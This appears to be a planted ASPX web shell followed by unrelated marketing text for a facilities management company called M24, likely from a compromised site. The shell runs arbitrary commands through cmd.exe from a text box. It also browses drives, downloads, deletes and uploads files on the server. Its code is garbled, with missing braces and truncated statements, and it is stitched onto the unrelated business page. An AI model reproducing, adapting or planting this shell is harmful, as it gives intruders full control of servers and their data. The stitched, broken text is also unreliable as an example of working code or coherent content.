<%-- ASPX Shell by Iranian --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
string outstr = "";
// get pwd
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
dir = dir.Replace("\\", "/");
dir = dir.Replace("//", "/");
// build nav for path literal
string[] dirparts = dir.Split('/');
string linkwalk = ""; 
foreach (string curpart in dirparts)
if (curpart.Length == 0)
linkwalk += curpart + "/";
outstr += string.Format("<a href='?fdir={0}'>{1}/</a> ",
lblPath.Text = outstr;
// create drive list
outstr = "";
foreach(DriveInfo curdrive in DriveInfo.GetDrives())
if (!curdrive.IsReady)
string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
outstr += string.Format("<a href='?fdir={0}'>{1}</a> ",
lblDrives.Text = outstr;
// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
// receive files ?
string fileName = flUp.FileName;
int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
if (splitAt >= 0)
fileName = flUp.FileName.Substring(splitAt);
flUp.SaveAs(dir + "/" + fileName);
// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curdir.Name),
outstr += string.Format("<tr><td>{0}</td><td>&lt;DIR&gt;</td><td></td></tr>", fstr);
foreach (FileInfo curfile in di.GetFiles())
string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curfile.Name),
string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
HttpUtility.UrlEncode(dir + "/" + curfile.Name));
outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
lblDirOut.Text = outstr;
// exec cmd ?
if (txtCmdIn.Text.Length > 0)
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WorkingDirectory = dir;
lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
txtCmdIn.Text = "";
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<title>ASPX Shell</title>
<style type="text/css">
* { font-family: Arial; font-size: 12px; }
body { margin: 0px; }
pre { font-family: Courier New; background-color: #CCCCCC; }
h1 { font-size: 16px; background-color: #ff0033; color: #FFFFFF; padding: 5px; }
h2 { font-size: 14px; background-color: #ff0033; color: #FFFFFF; padding: 2px; }
th { text-align: left; background-color: #ff0033; }
td { background-color: #dddddd; }
pre { margin: 2px; }
<h1>Anti Sheller Aspx | Best Sheller Aspx</h1>
<form id="form1" runat="server">
<table style="width: 100%; border-width: 0px; padding: 5px;">
<td style="width: 50%; vertical-align: top;">
<asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
<asp:Button runat="server" ID="cmdExec" Text="Execute" />
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
<td style="width: 50%; vertical-align: top;">
<h2>File Browser</h2>
Drives:<br />
<asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
Working directory:<br />
<b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
<table style="width: 100%">
<th>Size KB</th>
<th style="width: 50px">Actions</th>
<asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
<p>Upload to this directory:<br />
<asp:FileUpload runat="server" ID="flUp" />
<asp:Button runat="server" ID="cmdUpload" Text="Upload" />

About M24 Services

M24 is a list of premium services introduced to all its loyal customers to ensure that you are always a step ahead and have an edge, wherever you are in the world. This was the least we could do.


Our vision is to build a global brand that is recognised as a market leader in the provision of professional & quality facility management solutions and services.

Why M24?

Facilities management is a strategic discipline that translates the high level, strategic direction of senior decision makers into a day-to-day reality for their staff and the environment in which they work.

M24 can, amongst other things

  •   Provide effective management of assets
  •   Enhance the skills and efficiency of front-line FM staff
  •   Implement new working styles and procedures
  •   Increase the standards of service levels
  •   Assist in the integration of new procedures
  •   Ensure business continuity and workforce protection

At M24 we ensure that our clients enjoy all of the following



Our regular maintenance of assets and their facilities will reduce the energy consumption required to operate them. This is directly reflected in a reduction of utility bills

Priority Service


Our clients are serviced according to a tailor-made schedule of specified time periods. In addition to this we monitor our service levels, thus ensuring our clients receive best practice for service at all times

Happy Tenants


Our service improves the living and working environment of our clients’ assets, thus their tenants are happier and their assets maintain a higher rate of occupancy at all times



We assign a specific team of technical experts to you, ensuring that we develop a thorough understanding of your business, and that you become familiar with your assigned service technician

Peace of Mind


Preventive maintenance means fewer system failures and more durability for your facilities and thus, your assets are more reliable. Efficient maintenance of your facilities and systems translates into a more comfortable, improved atmosphere in which to live and work

In Short


We are committed to keeping your facilities safe, modern and reliable, in addition to assuring their continuous upgrade to the latest technology and standards